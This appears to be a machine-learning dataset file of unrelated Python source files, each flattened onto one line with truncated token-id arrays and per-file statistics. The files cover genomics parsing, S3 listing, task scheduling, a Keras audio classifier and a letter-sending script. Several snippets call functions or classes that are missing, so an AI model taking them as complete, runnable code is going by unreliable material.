import pandas as pd import numpy as np import argparse, sys, re orf_names = ['ORF_ID', 'Contig', 'COG', 'KO'] #, 'product'] def merge_orf_and_funtax( orf_file, funtax_file ): """ Takes an orf file and a funtaxa file and returns the merge """ orf_df = pd.read_table(orf_file, header=None, names=orf_names, index_col='ORF_ID', usecols=orf_names, engine='python', encoding="ISO-8859-1", quoting=3) funtax_df = pd.read_table(funtax_file, index_col='ORF_ID', engine='python', encoding="ISO-8859-1", quoting=3) funtax_df[['COG','KO']] = orf_df[['COG','KO']] funtax_df['taxonId'] = funtax_df['taxonomy'].replace(r'.+\(([0-9]+)\)', value=r'\1', regex=True) genes = funtax_df.reset_index() genes['gene'] = genes['ORF_ID'] return genes.set_index('gene') def generate_gff( mapfile, funtax_orf_file ): """ Takes the mapfile and annotation file and generates a gff file that maps reads in the bamfile to genes """ annotation2assembly_map = pd.read_table(mapfile, names=['annotation','assembly','length'], index_col='annotation') funtax_gff = pd.read_table( funtax_orf_file.name, engine='python', encoding='ISO-8859-1', quoting=3) funtax_gff['seqid'] = funtax_gff.join(annotation2assembly_map, on='Contig_Name')['assembly'] funtax_gff['source'] = 'Prodigal_v2.00' funtax_gff['type'] = 'CDS' funtax_gff['score'] = 100.0 funtax_gff['phase'] = 0 funtax_gff['attributes'] = funtax_gff['ORF_ID'].str.replace(r'(.*)', r'ID=\1;') return funtax_gff[['seqid','source', 'type','start', 'end', 'score', 'strand','phase','attributes']]
[ 11748, 19798, 292, 355, 279, 67, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 1822, 29572, 11, 25064, 11, 302, 198, 198, 24263, 62, 14933, 796, 37250, 1581, 37, 62, 2389, 3256, 705, 4264, 328, 3256, 705, 34, 7730, 3256, 705, 22328,...
2.210052
776
from .utils.env import make_env, GridWorldParallelEnv
[ 6738, 764, 26791, 13, 24330, 1330, 787, 62, 24330, 11, 24846, 10603, 10044, 29363, 4834, 85, 628, 198 ]
3.111111
18
from typing import Iterable from eth2spec.gen_helpers.gen_base import gen_runner, gen_typing import ssz_basic_vector import ssz_bitlist import ssz_bitvector import ssz_boolean import ssz_uints import ssz_container from eth2spec.test.helpers.constants import PHASE0 if __name__ == "__main__": gen_runner.run_generator("ssz_generic", [ create_provider("basic_vector", "valid", ssz_basic_vector.valid_cases), create_provider("basic_vector", "invalid", ssz_basic_vector.invalid_cases), create_provider("bitlist", "valid", ssz_bitlist.valid_cases), create_provider("bitlist", "invalid", ssz_bitlist.invalid_cases), create_provider("bitvector", "valid", ssz_bitvector.valid_cases), create_provider("bitvector", "invalid", ssz_bitvector.invalid_cases), create_provider("boolean", "valid", ssz_boolean.valid_cases), create_provider("boolean", "invalid", ssz_boolean.invalid_cases), create_provider("uints", "valid", ssz_uints.valid_cases), create_provider("uints", "invalid", ssz_uints.invalid_cases), create_provider("containers", "valid", ssz_container.valid_cases), create_provider("containers", "invalid", ssz_container.invalid_cases), ])
[ 6738, 19720, 1330, 40806, 540, 198, 6738, 4555, 17, 16684, 13, 5235, 62, 16794, 364, 13, 5235, 62, 8692, 1330, 2429, 62, 16737, 11, 2429, 62, 774, 13886, 198, 11748, 37786, 89, 62, 35487, 62, 31364, 198, 11748, 37786, 89, 62, 2545, ...
2.550308
487
#!/usr/local/bin/python3.4 import os, sys, logging, json, argparse, time, datetime, requests, uuid from config_files import settings #### NETWORK SLICE MANAGER/NFVO URL JSON_CONTENT_HEADER = {'Content-Type':'application/json'} #### REQUESTS # returns all the slice-subnets templates in the NSM # returns a specific slice-subnet template in the NSM # returns all slice-subnet instances in the NSM # returns specific slice-subnet instance in the NSM # sends request to deploy a slice-subnet template (NST) to the NSM # returns specific slice-subnet instance request from the NSM/NFVO # sends request to terminate a slice-subnet template (NST) to the NSM
[ 2, 48443, 14629, 14, 12001, 14, 8800, 14, 29412, 18, 13, 19, 198, 198, 11748, 28686, 11, 25064, 11, 18931, 11, 33918, 11, 1822, 29572, 11, 640, 11, 4818, 8079, 11, 7007, 11, 334, 27112, 198, 198, 6738, 4566, 62, 16624, 1330, 6460, ...
3.282178
202
import io import os import subprocess from datetime import datetime from urllib.parse import urlparse from rastervision.filesystem import (FileSystem, NotReadableError, NotWritableError) # Code from https://alexwlchan.net/2017/07/listing-s3-keys/ def get_matching_s3_objects(bucket, prefix='', suffix=''): """ Generate objects in an S3 bucket. :param bucket: Name of the S3 bucket. :param prefix: Only fetch objects whose key starts with this prefix (optional). :param suffix: Only fetch objects whose keys end with this suffix (optional). """ import boto3 s3 = boto3.client('s3') kwargs = {'Bucket': bucket} # If the prefix is a single string (not a tuple of strings), we can # do the filtering directly in the S3 API. if isinstance(prefix, str): kwargs['Prefix'] = prefix while True: # The S3 API response is a large blob of metadata. # 'Contents' contains information about the listed objects. resp = s3.list_objects_v2(**kwargs) try: contents = resp['Contents'] except KeyError: return for obj in contents: key = obj['Key'] if key.startswith(prefix) and key.endswith(suffix): yield obj # The S3 API is paginated, returning up to 1000 keys at a time. # Pass the continuation token into the next response, until we # reach the final page (when this field is missing). try: kwargs['ContinuationToken'] = resp['NextContinuationToken'] except KeyError: break def get_matching_s3_keys(bucket, prefix='', suffix=''): """ Generate the keys in an S3 bucket. :param bucket: Name of the S3 bucket. :param prefix: Only fetch keys that start with this prefix (optional). :param suffix: Only fetch keys that end with this suffix (optional). """ for obj in get_matching_s3_objects(bucket, prefix, suffix): yield obj['Key']
[ 11748, 33245, 198, 11748, 28686, 198, 11748, 850, 14681, 198, 6738, 4818, 8079, 1330, 4818, 8079, 198, 6738, 2956, 297, 571, 13, 29572, 1330, 19016, 29572, 198, 198, 6738, 374, 1603, 10178, 13, 16624, 6781, 1330, 357, 8979, 11964, 11, 1...
2.550995
804
# # Copyright Soramitsu Co., Ltd. All Rights Reserved. # SPDX-License-Identifier: Apache-2.0 # import can_receive # Please see example for can_receive permission. # By design can_receive and can_transfer permissions # can be tested only together.
[ 2, 198, 2, 15069, 15423, 321, 19831, 1766, 1539, 12052, 13, 1439, 6923, 33876, 13, 198, 2, 30628, 55, 12, 34156, 12, 33234, 7483, 25, 24843, 12, 17, 13, 15, 198, 2, 198, 198, 11748, 460, 62, 260, 15164, 198, 198, 2, 4222, 766, 1...
3.364865
74
#! /usr/bin/env python import rospy import fetch_api def wait_for_time(): """Wait for simulated time to begin. """ while rospy.Time().now().to_sec() == 0: pass if __name__ == '__main__': main()
[ 2, 0, 1220, 14629, 14, 8800, 14, 24330, 21015, 198, 198, 11748, 686, 2777, 88, 198, 11748, 21207, 62, 15042, 628, 198, 198, 4299, 4043, 62, 1640, 62, 2435, 33529, 198, 220, 220, 220, 37227, 21321, 329, 28590, 640, 284, 2221, 13, 198...
2.34375
96
def create_new_connection(parent_node, child_node, action, prior_probability): """ Returns the edge connecting parent and child """ edge = Edge(parent_node, child_node, action, prior_probability) parent_node.add_outgoing_edge(edge) child_node.add_incoming_edge(edge) return edge
[ 628, 198, 4299, 2251, 62, 3605, 62, 38659, 7, 8000, 62, 17440, 11, 1200, 62, 17440, 11, 2223, 11, 3161, 62, 1676, 65, 1799, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 16409, 262, 5743, 14320, 2560, 290, 1200, 198, 220, 2...
2.792793
111
"""skedding.py weightless thread scheduling """ #print( "module {0}".format(__name__)) import sys import os import time from collections import deque from ..aid.consoling import getConsole console = getConsole() from ..aid.sixing import * from ..aid import odict, oset from .globaling import * from ..aid import timing from . import excepting from . import registering from . import storing from . import tasking from . import building from ..__metadata__ import __version__ from ..aid.consoling import getConsole console = getConsole() class Skedder(object): """Schedules weightless tasker objects based on generators. run method runs the skedder main loop until interrupted or all taskers completed taskers is a dictionary of taskers indexed by tasker name The skedder maintains lists of taskers in various execution states Each list determines what the skedder does with the tasker. The skedder has methods that move taskers between the lists and also notifies taskers of their control Skedder runs tasker and sends it a control Tasker runs using control and yields its status Each tasker as a .desire attribute that indicates what the next desired control should be. Each tasker as a .period attribute that indicates how ofter the tasker should be run There are three deques the skedder maintains. Each entry in each deque is a tuple (tasker, retime, period) tasker is reference to tasker object retime is time that the tasker should next be run a retime of zero means runs asap or always period is the time period between runs ready = deque of tuples where taskers are ready to be run If need different priorities then need to add a ready list for each priority stopped = deque of tuples where taskers stopped awaiting start aborted = deque of tuples where taskers aborted can't be restarted addStoppedTask(tasker) adds tasker to stopped list addReadyTask(tasker) adds tasker to ready list Everytime a tasker runs it yields a status that the skedder uses to determine what to do with the tasker instance attributes: .name = skedder name string .period = time seconds between iterations of skedder .stamp = current iteration time of skedder .real = real time IF True ELSE simulated time .timer = timer to time loops in real time .elapsed = timer to time elapsed in mission .houses = list of houses to be scheduled .ready = deque of tasker tuples ready to run .aborted = deque of tasker tuples aborted """ def __init__( self, name="skedder", period=0.125, stamp=0.0, real=False, retro=True, filepath='', behaviors=None, username='', password='', mode=None, houses=None, metas=None, preloads=None, ): """ Initialize Skedder instance. parameters: name = name string period = iteration period stamp = initial time stamp value real = time mode real time True or simulated time False retro = shift timers if retrograded system clock detected filepath = filepath to build file behaviors = list of pathnames to packages with external behavior modules username = username password = password mode = parsing mode houses = list of houses metas = list of triples of (name, path, data) where name = name string of house attribute, path = path string, data = odict preloads = list of duples of (path, data) to preload Store where path = path string, data = odict """ self.name = name self.period = float(abs(period)) self.stamp = float(abs(stamp)) #real time or sim time mode self.real = True if real else False self.timer = timing.MonoTimer(duration = self.period, retro=retro) self.elapsed = timing.MonoTimer(retro=retro) self.filepath = os.path.abspath(filepath) self.plan = os.path.split(self.filepath)[1] self.behaviors = behaviors or [] self.username = username self.password = password self.mode = mode or [] self.houses = houses or [] #Meta data format is list of triples of form (name, path, value) self.metas = [ ("name", "meta.name", odict(value=self.name)), ("period", "meta.period", odict(value=self.period)), ("real", "meta.real", odict(value=self.real)), ("mode", "meta.mode", odict(value=self.mode)), #applied mode logging only ("plan", "meta.plan", odict(value=self.plan)), ("filepath", "meta.filepath", odict(value=self.filepath)), ("behaviors", "meta.behaviors", odict(value=self.behaviors)), ("credentials", "meta.credentials", odict([('username', self.username), ('password', self.password)])), ("failure", "meta.failure", odict(value="")), # for failure reporting ("framers", "meta.framers", odict()), # for failure reporting ("taskables", "meta.taskables", odict(value=oset())), # to add taskables at runtime ordered ] if metas: self.metas.extend(metas) self.preloads = [ ("ioflo.version", odict(value=__version__)), ("ioflo.platform", odict([("os", sys.platform), ("python", "{0}.{1}.{2}".format(*sys.version_info)),] )), ] if preloads: self.preloads.extend(preloads) self.ready = deque() # deque of taskers in run order self.aborted = deque() # deque of aborted taskers self.built = False # True when successfully built def addReadyTask(self, tasker): """ Prepare tasker to be started and add to ready list """ if tasker.schedule == ACTIVE: tasker.desire = START else: tasker.desire = STOP tasker.status = STOPPED retime = tasker.store.stamp period = tasker.period trp = (tasker, retime, period) self.ready.append(trp) console.profuse(" Add ready: {0} retime: {1} period: {2} desire {3}\n".format( tasker.name, retime, period, ControlNames[tasker.desire])) def build(self, filepath='', mode=None, metas=None, preloads=None): """ Build houses from file given by filepath """ console.terse("Building Houses for Skedder '{0}' ...\n".format(self.name)) self.built = False #use parameter otherwise use inited value if filepath: self.filepath = filepath if mode: self.mode.extend(mode) if metas: self.metas.extend(metas) if preloads: self.preloads.extend(preloads) b = building.Builder(fileName = self.filepath, mode=self.mode, metas = self.metas, preloads =self.preloads, behaviors=self.behaviors) if not b.build(): return False self.built = True self.houses = b.houses for house in self.houses: console.profuse("Meta Data for House '{0}':\n{1}\n".format( house.name, house.metas)) return True def run(self, growable=False): """runs all generator taskers in running list by calling next() method. Keyboard interrupt (cntl-c) to end forever loop Since finally clause closes taskers they must be restarted before run can be executed again if growable is True then allow adding new taskers at runtime via house metas['taskables'] """ console.terse("Starting Skedder '{0}' ...\n".format(self.name)) stamp = self.stamp for house in self.houses: house.store.changeStamp(stamp) ("Initialized store {0}: stamp = {1} with {2}\n".format( house.store.name, house.store.stamp, stamp)) for tasker in house.taskables: self.addReadyTask(tasker) console.profuse("Ready Taskers: {0}\n".format( ', '.join([tasker.name for tasker,r,p in self.ready]))) console.profuse("Aborted Taskers: {0}\n".format( ', '.join([tasker.name for tasker,r,p in self.aborted]))) self.timer.restart() self.elapsed.restart() #make local reference for speed put out side loop? ready = self.ready #stopped = self.stopped aborted = self.aborted try: #so always clean up resources if exception while True: try: #CNTL-C generates keyboardInterrupt to break out of while loop console.profuse("\nRunning Skedder '{0}' at stamp = {1} real elapsed = {2:0.4f}\n".format( self.name, self.stamp, self.elapsed.elapsed)) more = False #are any taskers RUNNING or STARTED for i in range(len(ready)): #attempt to run each ready tasker tasker, retime, period = ready.popleft() #pop it off if retime > stamp: #not time yet ready.append((tasker, retime, period)) #reappend it status = tasker.status else: #run it try: status = tasker.runner.send(tasker.desire) if status == ABORTED: #aborted so abort tasker aborted.append((tasker, stamp, period)) console.profuse(" Tasker Self Aborted: {0}\n".format(tasker.name)) else: ready.append((tasker, retime + tasker.period, tasker.period)) # append allows for period change except StopIteration: #generator returned instead of yielded aborted.append((tasker, stamp, period)) console.profuse(" Tasker Aborted due to StopIteration: {0}\n".format(tasker.name)) if status == RUNNING or status == STARTED: more = True if growable: # todo from each house.metas fetch new taskables # add to ready pass if not ready: #no pending taskers so done console.terse("No ready taskers. Shutting down skedder ...\n") break if not more: #all taskers stopped or aborted console.terse("No running or started taskers. Shutting down skedder ...\n") break #update time stamps if self.real: console.profuse(" Time remaining skedder = {0:0.4f}\n".format(self.timer.remaining)) while not self.timer.expired: time.sleep(self.timer.remaining) self.timer.repeat() self.stamp += self.period stamp = self.stamp for house in self.houses: house.store.changeStamp(stamp) except KeyboardInterrupt: #CNTL-C shutdown skedder console.terse("KeyboardInterrupt forcing shutdown of Skedder ...\n") break except SystemExit: #User know why shutting down console.terse("SystemExit forcing shutdown of Skedder ...\n") raise except Exception: #Let user know what exception caused shutdoen console.terse("Surprise exception forcing shutdown of Skedder ...\n") raise console.terse("Total elapsed real time = {0:0.4f}\n".format(self.elapsed.elapsed)) finally: #finally clause always runs regardless of exception or not #Abort any running taskers to reclaim resources #Stopped or aborted taskers should have already released resources #if last run tasker exited due to exception then try finally clause in #its generator is responsible for releasing resources console.terse("Aborting all ready Taskers ...\n") for i in range(len(ready)): #run each ready tasker once tasker,retime,period = ready.popleft() #pop it off try: status = tasker.runner.send(ABORT) console.terse("Tasker '{0}' aborted\n".format(tasker.name)) except StopIteration: #generator returned instead of yielded console.terse("Tasker '{0}' generator already exited\n".format(tasker.name)) #tasker.runner.close() #kill generator if console._verbosity >= console.Wordage.concise: for house in self.houses: #show store hierarchy console.concise( "\nData Store for {0}\n".format(house.name)) house.store.expose(valued=(console._verbosity >= console.Wordage.terse)) def Test(real = False, verbose = False): """Module Common self test """ import housing reload(housing) housing.ClearRegistries() print(housing.Registries) print("") print(housing.Registries["tasker"].Names) print(housing.Registries["tasker"].Counter) print("") house = housing.House() t1 = tasking.Tasker(name = 't1', store = house.store) t2 = tasking.Tasker(name = 't2', store = house.store) t3 = tasking.Tasker(name = 't3', store = house.store, period = 0.125) t4 = tasking.Tasker(name = 't4', store = house.store, period = 0.125) t5 = tasking.Tasker(name = 't5', store = house.store, period = 0.5) t6 = tasking.Tasker(name = 't6', store = house.store, period = 1.0) house.actives = [t1,t6,t2,t5,t3,t4] skedder = Skedder(name = "TestTasker", period = 0.125, real = real, houses = [house]) skedder.run() def TestProfile(real = False, verbose = False): """Module Common self test """ import cProfile import pstats import housing reload(housing) housing.ClearRegistries() print(housing.Registries) print("") print(housing.Registries["tasker"].Names) print(housing.Registries["tasker"].Counter) print("") house = housing.House() t1 = Tasker(name = 't1', store = house.store) t2 = Tasker(name = 't2', store = house.store) t3 = Tasker(name = 't3', store = house.store, period = 0.125) t4 = Tasker(name = 't4', store = house.store, period = 0.125) t5 = Tasker(name = 't5', store = house.store, period = 0.5) t6 = Tasker(name = 't6', store = house.store, period = 1.0) house.actives = [t1,t6,t2,t5,t3,t4] skedder = Skedder(name = "TestSkedder", period = 0.125, real = real, houses = [house]) #skedder.run() cProfile.runctx('skedder.run()',globals(),locals(), './test/profiles/skeddertest') p = pstats.Stats('./test/profiles/skeddertest') p.sort_stats('time').print_stats() p.print_callers() p.print_callees() if __name__ == "__main__": Test()
[ 37811, 8135, 6048, 278, 13, 9078, 3463, 1203, 4704, 26925, 628, 198, 37811, 198, 2, 4798, 7, 366, 21412, 1391, 15, 92, 1911, 18982, 7, 834, 3672, 834, 4008, 198, 198, 11748, 25064, 198, 198, 11748, 28686, 198, 11748, 640, 198, 6738, ...
2.159844
7,451
# Copyright 2015 Mirantis, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import logging import os import re import subprocess import zlib from optparse import OptionParser from urllib2 import HTTPError from urllib2 import urlopen from urlparse import urlparse from xml.dom.minidom import parseString logger = logging.getLogger(__name__) if __name__ == '__main__': main()
[ 2, 220, 220, 220, 15069, 1853, 7381, 20836, 11, 3457, 13, 198, 2, 198, 2, 220, 220, 220, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 345, 743, 198, 2, 220, 220, 220, 407, 779, 428, 2393, ...
3.276596
282
""" 技术要点:1、创建基于声谱图的卷积神经网络模型(十分类),本文件为第五版本 2、三种功能选择:训练并保存模型、评估模型、类别预测 3、三种训练方法:2d卷积、沿时间卷积、沿频率卷积 4、添加了绘制准确率和损失值变化曲线的代码; 5、注释掉早停法代码行; 6、模型训练回调函数改为logs_loss。 改进方面:音频预处理后再训练 运行结果:300轮训练后,准确率可达到84% 准确率和损失值曲线效果较好,其他曲线效果不佳 """ import numpy as np from scipy import signal import scipy.io.wavfile as wav import os import time import sys from keras.utils.np_utils import to_categorical import matplotlib.pyplot as plt # import skimage.io import platform import tensorflow as tf os.environ["CUDA_VISIBLE_DEVICES"] = "1" config = tf.ConfigProto() config.gpu_options.allow_growth=True #不全部占满显存, 按需分配 session = tf.Session(config=config) plt.switch_backend('agg') a = platform.platform() if "Windows" in a: splitchar = "\\" elif "Linux" in a: splitchar = "/" print('\n', a, '\n') ROOT_DIR = os.path.abspath('.') wav_path = os.path.join(ROOT_DIR, "ALL_hd_random") ########################################################################## ########################################################################## number_of_classes = 10 # 读取文件 train_files = get_wav_files(os.path.join(wav_path, "train")) test_files = get_wav_files(os.path.join(wav_path, "test")) # 数据预处理 train_x, train_y, max_freq, max_time = data_preprocess(train_files, number_of_classes) test_x, test_y, max_freq, max_time = data_preprocess(test_files, number_of_classes) import random randnum = random.randint(0, 100) random.seed(randnum) random.shuffle(train_x) random.seed(randnum) random.shuffle(train_y) from keras.models import Sequential, load_model from keras.layers import MaxPool1D, Conv1D, Conv2D, MaxPool2D, Flatten, Dense, BatchNormalization, Dropout from keras.callbacks import EarlyStopping from keras.optimizers import RMSprop from keras.metrics import categorical_accuracy from keras import regularizers import keras task = 'train' # train or evaluate or predict if task == 'train': model = Sequential() # model.add(Conv2D(filters=16,kernel_size=(3,3), input_shape=(max_time,max_freq,1),activation='relu')) # model.add(BatchNormalization()) # model.add(MaxPool2D(pool_size=(2,2))) # model.add(Conv2D(filters=8,kernel_size=(3,3),activation='relu')) # model.add(BatchNormalization()) # model.add(MaxPool2D(pool_size=(2,2))) # model.add(Conv2D(filters=4,kernel_size=(3,3),activation='relu')) # model.add(BatchNormalization()) # model.add(MaxPool2D(pool_size=(2,2))) # model.add(Flatten()) # #model.add(Dropout(0.5)) # model.add(Dense(128, activation='relu')) # #model.add(Dropout(0.5)) # model.add(Dense(number_of_classes, activation='softmax')) model.add(Conv1D(max_freq, 10, input_shape=(max_time, max_freq), activation='relu')) model.add(BatchNormalization()) model.add(MaxPool1D(4)) model.add(Conv1D(max_freq, 4, activation='relu')) model.add(BatchNormalization()) model.add(MaxPool1D(4)) model.add(Flatten()) model.add(Dropout(0.5)) model.add(Dense(max_freq, activation='relu')) model.add(Dropout(0.5)) model.add(Dense(number_of_classes, activation='softmax')) model.compile(loss="categorical_crossentropy", optimizer='adam', metrics=['categorical_accuracy']) # 函数开始时创建盛放loss与acc的容器 # 按照batch来进行追加数据 # 绘图,这里把每一种曲线都单独绘图,若想把各种曲线绘制在一张图上的话可修改此方法 # 由于这里的绘图设置的是5s绘制一次,当训练结束后得到的图可能不是一个完整的训练过程 # (最后一次绘图结束,又训练了0-5秒的时间) # 所以这里的方法会在整个训练结束以后调用 logs_loss = LossHistory() # model=load_model('voice_recog_spectrogram_new1.h5') # print(model.summary()) # model.pop() # model.add(Dense(number_of_classes, activation='softmax',name='output')) # model.compile(loss="categorical_crossentropy", optimizer='adam', metrics=[categorical_accuracy]) # early_stopping = EarlyStopping(monitor='val_loss', patience=10) model.fit(train_x, train_y, batch_size=20, epochs=300, validation_split=0.1, callbacks=[logs_loss]) # callbacks=[early_stopping] # 保存模型。 model.save('voice_recog_spectrogram_preprcsess_300epochs_04.h5') logs_loss.end_draw() """第一种方法:训练完成时直接绘制acc和loss变化曲线 train_log = model.fit_generator(train_generator, steps_per_epoch = nb_train_samples// batch_size, epochs = epochs, validation_data = validation_generator, validation_steps =nb_validation_samples // batch_size, ) # plot the training loss and accuracy plt.style.use("ggplot") plt.figure() plt.plot(np.arange(0, epochs), train_log.history["loss"], label="train_loss") plt.plot(np.arange(0, epochs), train_log.history["val_loss"], label="val_loss") plt.plot(np.arange(0, epochs), train_log.history["acc"], label="train_acc") plt.plot(np.arange(0, epochs), train_log.history["val_acc"], label="val_acc") plt.title("Training Loss and Accuracy on sar classifier") plt.xlabel("Epoch #") plt.ylabel("Loss/Accuracy") plt.legend(loc="upper right") plt.savefig("Loss_Accuracy_alexnet_{:d}e.jpg".format(epochs)) """ """第二种方法:训练过程中保留Accuracy和Loss值至csv文件,完成后再读取画图 import pandas as pd import matplotlib.pyplot as plt log = pd.read_csv('./log/mix_r40_g800_log_0511160953_300e.csv') l = list(log['epoch;acc;loss;val_acc;val_loss']) epoch = [] acc = [] loss = [] val_acc = [] val_loss = [] for i in range(0,len(l)): epoch.append(l[i].split(';')[0]) acc.append(l[i].split(';')[1]) loss.append(l[i].split(';')[2]) val_acc.append(l[i].split(';')[3]) val_loss.append(l[i].split(';')[4]) plt.style.use("ggplot") #设置绘图风格 plt.figure(figsize=(15,10)) #设置绘图大小,单位inch plt.plot(epoch, loss, label="train_loss") plt.plot(epoch, val_loss, label="val_loss") plt.plot(epoch, acc, label="train_acc") plt.plot(epoch, val_acc, label="val_acc") plt.title("Training Loss and Accuracy on sar classifier") plt.xlabel("Epoch #") plt.ylabel("Loss/Accuracy") plt.legend(loc="upper right") plt.savefig("Loss_Accuracy_mix_40-800_300e.jpg") """ elif task == 'evaluate': model = load_model('voice_recog_spectrogram_new2.h5') accuracy = model.evaluate(test_x, test_y, batch_size=1) print('test loss and accuracy:', accuracy) elif task == 'predict': model = load_model('voice_recog_spectrogram_new2.h5') result = model.predict_on_batch(test_x) print(result) # from keras.utils.vis_utils import plot_model # plot_model(model,to_file="model_1.png",show_shapes=True)
[ 37811, 198, 162, 232, 222, 17312, 107, 17358, 223, 163, 224, 117, 171, 120, 248, 16, 23513, 26344, 249, 161, 119, 118, 161, 253, 118, 12859, 236, 18004, 108, 164, 108, 109, 32368, 122, 21410, 39355, 115, 163, 100, 107, 15351, 163, 1...
1.828922
3,589
import pytest import torch DEVICES = ["cpu"] if torch.cuda.is_available(): DEVICES.append("cuda") @pytest.fixture(params=DEVICES) def device(request): """parametrized device function, that returns string names of the devices that ``torch`` considers "available". causes any test using ``device`` fixture to run just once if only a cpu is available, and twice if ``torch.cuda.is_available()`` returns ``True``.""" return request.param
[ 11748, 12972, 9288, 198, 11748, 28034, 198, 198, 39345, 34444, 796, 14631, 36166, 8973, 198, 361, 28034, 13, 66, 15339, 13, 271, 62, 15182, 33529, 198, 220, 220, 220, 5550, 53, 34444, 13, 33295, 7203, 66, 15339, 4943, 628, 198, 31, 90...
3.032258
155
# Copyright Amazon.com Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). You may # not use this file except in compliance with the License. A copy of the # License is located at # # http://aws.amazon.com/apache2.0/ # # or in the "license" file accompanying this file. This file is distributed # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either # express or implied. See the License for the specific language governing # permissions and limitations under the License. """Integration tests for the S3 Bucket API. """ import pytest import time import logging import re from typing import Generator from dataclasses import dataclass from acktest.resources import random_suffix_name from acktest.k8s import resource as k8s from e2e import service_marker, CRD_GROUP, CRD_VERSION, load_s3_resource from e2e.replacement_values import REPLACEMENT_VALUES from e2e.bootstrap_resources import BootstrapResources, get_bootstrap_resources RESOURCE_PLURAL = "buckets" CREATE_WAIT_AFTER_SECONDS = 10 MODIFY_WAIT_AFTER_SECONDS = 10 DELETE_WAIT_AFTER_SECONDS = 10 @dataclass @pytest.fixture(scope="function") @service_marker
[ 2, 15069, 6186, 13, 785, 3457, 13, 393, 663, 29116, 13, 1439, 6923, 33876, 13, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 11074, 921, 743, 198, 2, 407, 779, 428, 2393, 2845, 287, ...
3.262873
369
import glob import cv2 import regex as re from .deep_optical_flow import deep_optical_flow from .interpolations import warp_flow from .parameters import * def sphere_interpolation(model_path="./flownet2/pretrained_models/FlowNet2_checkpoint.pth.tar"): """ Sphere dataset interpolation of Frame N+1 from Frame N and Frame N+2 :param model_path: Path to pretrained optical flow model :return: None """ images = glob.glob("./input/sphere/*.ppm") images.sort(key=lambda f: int(re.sub("\D", "", f))) for ind in range(0, len(images) - 2, 2): firstImage = cv2.imread(images[ind]) secondImage = cv2.imread(images[ind + 2]) forward_flow, If = deep_optical_flow(model_path, firstImage, secondImage, LR, NUM_ITER, ind, "sphere") backward_flow, Ib = deep_optical_flow(model_path, secondImage, firstImage, LR, NUM_ITER, ind, "sphere") warp_flow(firstImage, secondImage, forward_flow, If, backward_flow, Ib, ind, "sphere")
[ 11748, 15095, 198, 11748, 269, 85, 17, 198, 11748, 40364, 355, 302, 198, 6738, 764, 22089, 62, 8738, 605, 62, 11125, 1330, 2769, 62, 8738, 605, 62, 11125, 198, 6738, 764, 3849, 16104, 602, 1330, 25825, 62, 11125, 198, 6738, 764, 17143...
2.611111
378
import json import logging from typing import Tuple, Dict, Optional, Union, NamedTuple, IO from lxml import objectify from kloppy.domain import ( TrackingDataset, DatasetFlag, AttackingDirection, Frame, Point, Point3D, Team, BallState, Period, Provider, Orientation, attacking_direction_from_frame, Metadata, Ground, Player, build_coordinate_system, Provider, Transformer, PlayerData, ) from kloppy.utils import Readable, performance_logging from .deserializer import TrackingDataDeserializer logger = logging.getLogger(__name__)
[ 11748, 33918, 198, 11748, 18931, 198, 6738, 19720, 1330, 309, 29291, 11, 360, 713, 11, 32233, 11, 4479, 11, 34441, 51, 29291, 11, 24418, 198, 198, 6738, 300, 19875, 1330, 2134, 1958, 198, 198, 6738, 479, 5439, 14097, 13, 27830, 1330, ...
2.65368
231
"""Config flow to configure the Meteo-Swiss integration.""" import logging import re import voluptuous as vol from homeassistant.const import CONF_NAME, CONF_LATITUDE, CONF_LONGITUDE from homeassistant import config_entries from homeassistant.core import callback from .const import DOMAIN,CONF_POSTCODE,CONF_STATION,CONF_ENABLESENSORS from hamsclient import meteoSwissClient _LOGGER = logging.getLogger(__name__)
[ 37811, 16934, 5202, 284, 17425, 262, 3395, 68, 78, 12, 10462, 747, 11812, 526, 15931, 198, 11748, 18931, 198, 198, 11748, 302, 198, 11748, 2322, 37623, 5623, 355, 2322, 198, 6738, 1363, 562, 10167, 13, 9979, 1330, 7102, 37, 62, 20608, ...
3.080882
136
from graphviz import Digraph if __name__ == "__main__": from chips.api.api import * from chips.components.components import * c = Chip("my_chip") a = Input(c, "a") b = Input(c, "b") d = Input(c, "d") e = Input(c, "e") x, y = tee(c, add(c, add(c, a, b), add(c, d, e))) discard(c, x) discard(c, y) b = BlockDiagram(c) b.view()
[ 6738, 4823, 85, 528, 1330, 7367, 1470, 628, 198, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 422, 12014, 13, 15042, 13, 15042, 1330, 1635, 198, 220, 220, 220, 422, 12014, 13, 5589, 3906, 13, 558...
2.054645
183
import smart_imports smart_imports.all()
[ 198, 11748, 4451, 62, 320, 3742, 198, 198, 27004, 62, 320, 3742, 13, 439, 3419, 628 ]
2.75
16
import cuid, sys, os from dotenv import load_dotenv from notifications_python_client.notifications import NotificationsAPIClient # Load .env load_dotenv() # Set up a new Notify client notifications_client = NotificationsAPIClient(os.getenv("NOTIFY_KEY")) # Generate a unique reference id_gen = cuid.CuidGenerator() id = id_gen.cuid() # Get the file redirected to stdin (as a binary file) input = sys.stdin.buffer.read() with open(id, "wb") as output: output.write(input) # Convert from PostScript to PDF (has the effect of stripping out PCL which Notify doesn't like) os.system("ps2pdf {} {}.pdf".format(id, id)) # Try to send a letter with open("{}.pdf".format(id), "rb") as file_to_send: notification = notifications_client.send_precompiled_letter_notification( reference=id, pdf_file=file_to_send ) print(notification) # Delete local files os.remove(id) os.remove("{}.pdf".format(id))
[ 11748, 18912, 312, 11, 25064, 11, 28686, 198, 6738, 16605, 24330, 1330, 3440, 62, 26518, 24330, 198, 6738, 19605, 62, 29412, 62, 16366, 13, 1662, 6637, 1330, 1892, 6637, 2969, 2149, 75, 1153, 198, 198, 2, 8778, 764, 24330, 198, 2220, ...
